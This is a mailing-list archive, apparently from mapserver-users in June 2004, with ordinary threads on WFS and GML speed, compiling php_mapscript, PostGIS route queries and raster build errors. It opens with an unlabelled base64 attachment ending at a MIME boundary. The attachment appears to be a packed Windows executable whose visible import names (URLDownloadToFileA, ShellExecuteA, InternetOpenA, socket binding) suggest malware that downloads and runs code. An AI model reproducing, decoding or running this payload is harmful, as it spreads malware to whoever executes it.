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 mNRFu5iTLaNhj61fnITwAghLtiP3Sq4ds4gr+ZZCHJwCQp4eCMbknqHXohstGnMAO+zRN43C hsBlIRE2G7vrM34iC4QtLFjSA5jUZoJiDww1cb7Hk1IpihyQjKXiDqnrltTd3zH6/KU3MROH DTa33xyhsHBI46MxpRwhXFloYKVOjVSlM5TcW5SyuZyltv/SBRhwHceOF4xTbWux+fpPE4kh FZrqTliDX7uWLKVenlwl3K5OsJUpfByDaG6mAl+JpZScNUzdnH9mj5yAAW0ErZ16mwfFj5Nr jtzXHZ4RiETvrMVs37OYDmupl1Ozhp9MMDR8hKUPpese1jLVWiTd3iyCNlhwjoKMC4xNk7tt MYtAipCBjq4+c2CYrJQhiSAX5HJzb0RIu5mW1R6Pityhtk2sGI8XJDKMXcwVUrk+aI6pvF+1 ihBDF/2Wp1rAYGio72hEwRy5qfReObXaIoWkN5JwqG2xyqd3WrQCH2yD+I6qJ5c2t4+igq0D 8W8Brr+0o7GpvnFWG7UYzbuJvNNoyan/HbRGSBTr+t2+3Yjdld2K7/6FdgGf3Sqp3ZHdg920 C47d+qVNs/3215W1m0mG19Gp0QORg7T929I0n46GZbG1ldel+qEx4lLOT4imgKcdP2twtImD akWXabCRlqnN0jVTl1IA18SvP2OvmcYKEWmnqdeR3PkW+teD17TXUI5dodCqkeGO9az6oNKL gKOw1IXtuYGuUoPAbz76w6Kyju76GGpDW0hxig+m2rzVhNY2U40HCFw91hjM+geuJ1Kzuatg o1vWtvpDDb42sIdtbK1qKciV+kGpJRehq4xpib7gDt1SA1czM4qDQ6o1R80AWgeMVGSOCrBZ tNyai2EsSb1luyX6Ec8RODqJyEaDCjAKvtqE+nMBWYyKXCIACUUCCyWJA/+Xy6k0AVRQAUdl dE1vZHVsZdgWAMtGaU6DQRNYC4D/UHJvY0FkZHKQD//st/9TeXN0ZW1EaRBjdG9yeSRUaWNr Q2/s2xbsdW50DTxGG21hdEEPY23sn1pvbmVJbmYVaQsXV23/hP1pbmRvd3NLbG9iYWxBbAZj 979thwxGHWULTG9hZExpYnJhJs9iyboNYyULJE1huzX3/nBWaWV3T2bCDsxrQnmu71v7dlRv amRlQ2g8FE9wZW7Ta9vBYs8IMzIwctYPzdruAU5leA5SZXRKIYDdza1nZ2lpRHKCa1v3dlN0 BW5nc4lTGEXFcbXdzw0NCEF0H2J1eHWt/YIhE1BvMRCAU9ohgrsLZXAGRxqdbdu29x8JFVQh bSdhGeEX9mSiVW5t1VdhaXRd5gxvrlOADk9iajsU3+0vWQtL9BRuRXge4Xa2dDJyZT1sdXJj mMse9tkJbXBpCnB5CS72WrBuCjEJ/Pow22ZnokfPf3oM4QsfjxBUeXAvQ5FzZUhhEA8M915q G8kJQ3XYwQqFcqgG3ElkFNe6zwISb21tRUzAVQR7B8dGJ5B2Dpt7AzuvD3hy7mn4D9tlR0NV YftvbGhlbHBusl9Y01NXcHNob3QZaAYbtuGwZA1NrnhBDVqXMEPHTXBkEwzaQrLCbx8KP2Eb mmztEr5SaEtz5m6nWVpBCBZnRBkUzOHewlZEdTgQFg1s9mRvRXQgS2V5DnJmc2/ZDt8NVE6Y o52dICFC8B8NyW5Nb5BfYkpEQ7bZmx1KbX1fFgnhYzuMOUZZb+RssI1tgjtJUIMmdu8Ys1lr UVwOL8+4dsPcbAg+xkJrN9vWDGf8VKWDUXKnWN9MSTY0UTEGbU9uSNtah0nUOw5qaQrhaTZH R9ViAFOrNFvDo2y1QkFFbkD22BvuP99ySUEJRHVwCNnGYG4CElSFbQn1p+ncUic5elhVUkxE ppvkumVubEBpHIVoNm2dYH1wyXRmTR07LOw0YWdQb5D/c2ttGWZtlXCkNXp3lRpP7t4caFUb qhxPT9NJkHhJ3W667GvZkgIUdEEOjICVLlVcEfM2Q9twbm5SZWTDL1mcubbuaYxpH1+8ZDtB QKOxnnTA+FWYncwhDGJ5Dkh56WvAUFhjgHMDa2V0v8pbbmK9cmFjYyVTQYHXHHdccnR1MCMZ eTb7Zq52MnoUbAc++S/HYM1QRUwBBADMD5BAnjT/D+AADwELAQUMAERWSFD7DAcC31gNQAtu Fmw5AgQzBwzAztyS0B40EAezvCTeBk/QYdxdIJDLwKADp8T7mq6wAR4uw3TrQpB3F/YF6wQj IB4ucmR0g+0Kr6NGC/sMJ0jZYt2FQAIuJkd1bUqa7nAnOlTATwYbbIFzggDrwHOOwL/fyicb cGQNIcYAAAAAAAAAACAB/wAAYL4loEAAjb7bb///V4PN/+sQkJCQkJCQigZGiAdHAdt1B4se g+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD 8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJ ix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cE g+kEd/EBz+lM////Xon3uQcAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA6+gB 8IkHg8cFidji2Y2+AMAAAIsHCcB0PItfBI2EMKTjAAAB81CDxwj/loDkAACVigdHCMB03In5 V0jyrlX/loTkAAAJwHQHiQODwwTr4f+WiOQAAGHpBGz//wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAJw5hZItXHB+bYteDnhsw5FIUKMgkLhUsTubLSRtJTZsjISrrXmF psAknikPeWmwgq1tX1ZJMUliibUiUiqpJqYddG9heDC2bS+/PmOfZD95f5FsYUsRL6BWMQdr NbW3Qq6wDIxcGqUzHT+gVHp2GmitKyIRYLIBaU9QGKrEVLA2KrhtUDGuE26YP746HZViQ1y+ ZsYilYddeKe2djqIVrWlWmUQQXwQPgR+FcUPryPBXRUUN1V+cTVqtK4sGKS5sgcxxnQlxmi9 mBQ+Za0LSgKbsgYkxWgyYa5khYB8US8mY3jCIQ== ----------wmdmirpvdzrznzjggibw-- From bartvde at xs4all.nl Thu Jun 3 04:34:03 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Thu, 3 Jun 2004 13:34:03 +0200 (CEST) Subject: [mapserver-users] querying WMS layer / WFS reprise In-Reply-To: <20040603031621.V32465@osiris.deathkeep.com> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com><13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> <20040603011801.B31218@osiris.deathkeep.com><13536.212.238.227.182.1086257384.squirrel@webmail.xs4all.nl> <20040603031621.V32465@osiris.deathkeep.com> Message-ID: <13880.212.238.227.182.1086262443.squirrel@webmail.xs4all.nl> Hi Gregor, perhaps others can comment on this more thoroughly. I don't think this is a problem of Mapserver's WFS implementation. I think the performance bottleneck is in the GML parsing part (WFS Client), and not so much in the GML generation part (WFS Server). Also ofcourse the transport / download of GML can be time-consuming. Gzipping this data will save a lot of time on the download (and you can do this with mod_deflate in Apache e.g.), but I don't know if Mapserver WFS client can decompress this. The slowness of parsing GML has resulted in looking at faster alternatives in the OGC world like e.g. binary GML or feature streaming. There is not much point in serving your data through WFS, if you are gonna end up just displaying it through WMS. The only reason for this should be a distributed system in which you cannot access the data in any other way. Best regards, Bart > > On Thu, 3 Jun 2004 bartvde at xs4all.nl wrote: > >> > Is this cascading thing an issue for MapServer's WFS implementations >> > as well? Could a MapServer WFS-client layer be queried? > >> I just tried this and you can query a LAYER of CONNECTIONTYPE WFS. So no >> problems there, but that's because this is a GML "datastore" just as >> shapefile is a "datastore". With CONNECTIONTYPE WMS you cannot access >> the >> data itself as a (WMS) client, that's the big difference. > > Excellent, that's what I would have expected, since it's just vector > data by the time the client/displaying MapServer sees it. Thanks for > confirming that for me - you saved me an hour or two. > > I spent the last day experimenting with WFS, since that's what we *really* > want to be sending instead of images, and came to the conclusion (that > seems to have been confirmed by some others on the list) that WFS is > incredibly slow (as in, several minutes) because of the GML encoding, > which made it unsuitable for use in dynamic map layers. > > WFS' slowness surprised me: should a feature list being sent to the client > never contain more than several items? Or is this a "problem" with > MapServer's implementation of a WFS server? Would another WFS server > (GeoServer?) do it faster and be able to send more items in a reasonable > period? > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From hrz at geodata.soton.ac.uk Thu Jun 3 04:45:05 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Thu, 3 Jun 2004 12:45:05 +0100 Subject: [Mapserver-users] Compiling php_mapscript as build-in module? Message-ID: <20040603114504.GB21421@truffles.geodata.soton.ac.uk> Hi, I'm wondering if there's any way to compile php mapscript as a built-in module rather than the current external module which needs to be loaded with the dl() function. The reason I ask is that we're looking to optimise our mapscript applications. We have a server with a dedicated mapscript php cgi binary and it would be beneficial not to have to load the php_mapscript.so at every page invocation. I've done some profiling using nusphere's PhpED and the result seems to be that the function dl('php_mapscript.so') takes on average around 0.05 seconds to load (on slower servers this is obviously longer). Not much, I know, but every little helps and in simple applications this can be as much as half the script execution time. Thoughts? Homme Zwaagstra From bigfoot at main-task.com Thu Jun 3 05:00:31 2004 From: bigfoot at main-task.com (=?GB2312?B?VmxhZGltaXIgR3V6baiibg==?=) Date: Thu, 03 Jun 2004 07:00:31 -0500 Subject: [Mapserver-users] store and draw route In-Reply-To: References: Message-ID: <40BF12DF.4050100@main-task.com> Hello. We use postgis + phpmapscript, and is something like this: $data=" the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || (select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where ant.gid='$from_time' AND act.tiempo<'$to_time' AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; $layer=$map->getLayerByName("secuencia_gps"); $layer->set("data",$data); Basically, what we do is a subquery to create a multilinestring from a point geometry. Hpe that helps, Vladimir Ilich Guzm??n R. ------------------------ http://maintask.com Fu Chen wrote: >Hi! >I try to use mapserver and postgis to record and render the some mobile worker's route. >Those routes are record by a data table like (workorID, time, position). >In the webgis interface, we try to draw a route map by mapserver. >Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible. >I don't know how to write map file or mapscript to get the feature. >Anybody can give me some suggestion? >Thank you! > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From siki at agt.bme.hu Thu Jun 3 08:10:58 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 3 Jun 2004 14:10:58 -0100 (GMT+1) Subject: [Mapserver-users] no tiff layer {Scanned} In-Reply-To: <40BF0181.6020503@basis5.de> Message-ID: Hi, Propably the raster format of landsat not supported on your installed version. Check mapserv -v or gdalinfo --format to see the supported raster formats, it depends on your installation. Bye Zoltan On Thu, 3 Jun 2004, [ISO-8859-1] Lars M?ller wrote: > > hi, > I tried the example3-3.htm with the layer landsat. > I get this error: > > msDrawMap(): Image handling error. Failed to draw layer named 'landsat'. > msDrawRaster(): Image handling error. Unrecognized or unsupported image > format > drawEPP(): Image handling error. > /usr/local/httpd/htdocs/tmp/108625921164530.img.tmp is not an EPPL file. > > whenn I configure I get this error: > > checking for XpmFreeXpmImage in -lXpm... no > XPM (libXpm) library cannot be found, possibly needed for GD > > > could the missing libXpm bring the error? > I tried to installe this libXpm, but dosen't work. > has somenone an idea? > > thanks lars m?ller > > > > > > > > > _____________________________ > > dipl.-ing. lars m?ller > basis5 - webtechnologie > m?ller und zipp ingenieure > und partner > > malsburgstrasse 14 > 34119 kassel > > tel 0561.7660348 > fax 0561.7660358 > > email moeller at basis5.de > > www.basis5.de > _____________________________ > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From gsibilio at unina.it Thu Jun 3 05:22:42 2004 From: gsibilio at unina.it (Giancarlo Sibilio) Date: Thu, 3 Jun 2004 14:22:42 +0200 Subject: [Mapserver-users] "Re: Contents of Mapserver-users digest..." Message-ID: <000c01c44965$77d29330$44dee18f@xp1700> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C44976.3B48ECA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0009_01C44976.3B48ECA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_0009_01C44976.3B48ECA0-- From moeller at basis5.de Thu Jun 3 05:46:12 2004 From: moeller at basis5.de (=?ISO-8859-2?Q?Lars_M=F6ller?=) Date: Thu, 03 Jun 2004 14:46:12 +0200 Subject: [Mapserver-users] no tiff layer {Scanned} In-Reply-To: References: Message-ID: <40BF1D94.5080208@basis5.de> thanks for your answer. I checked the landsat layer. it gives an png format out. gdal supports png the mapserver too. I see the mapserver supports only output png but input gdal. gdal supports png. the only thing I didn't get installed is the libXpm. I don't find a way to installe this. could that be the reason? the output of mapserv -v gdalinfo --formats and configure follows: configure: checking where libXpm is installed...... checking for XpmFreeXpmImage in -lXpm... no XPM (libXpm) library cannot be found, possibly needed for GD the mapserver gives this out: msDrawMap(): Image handling error. Failed to draw layer named 'landsat'. msDrawRaster(): Image 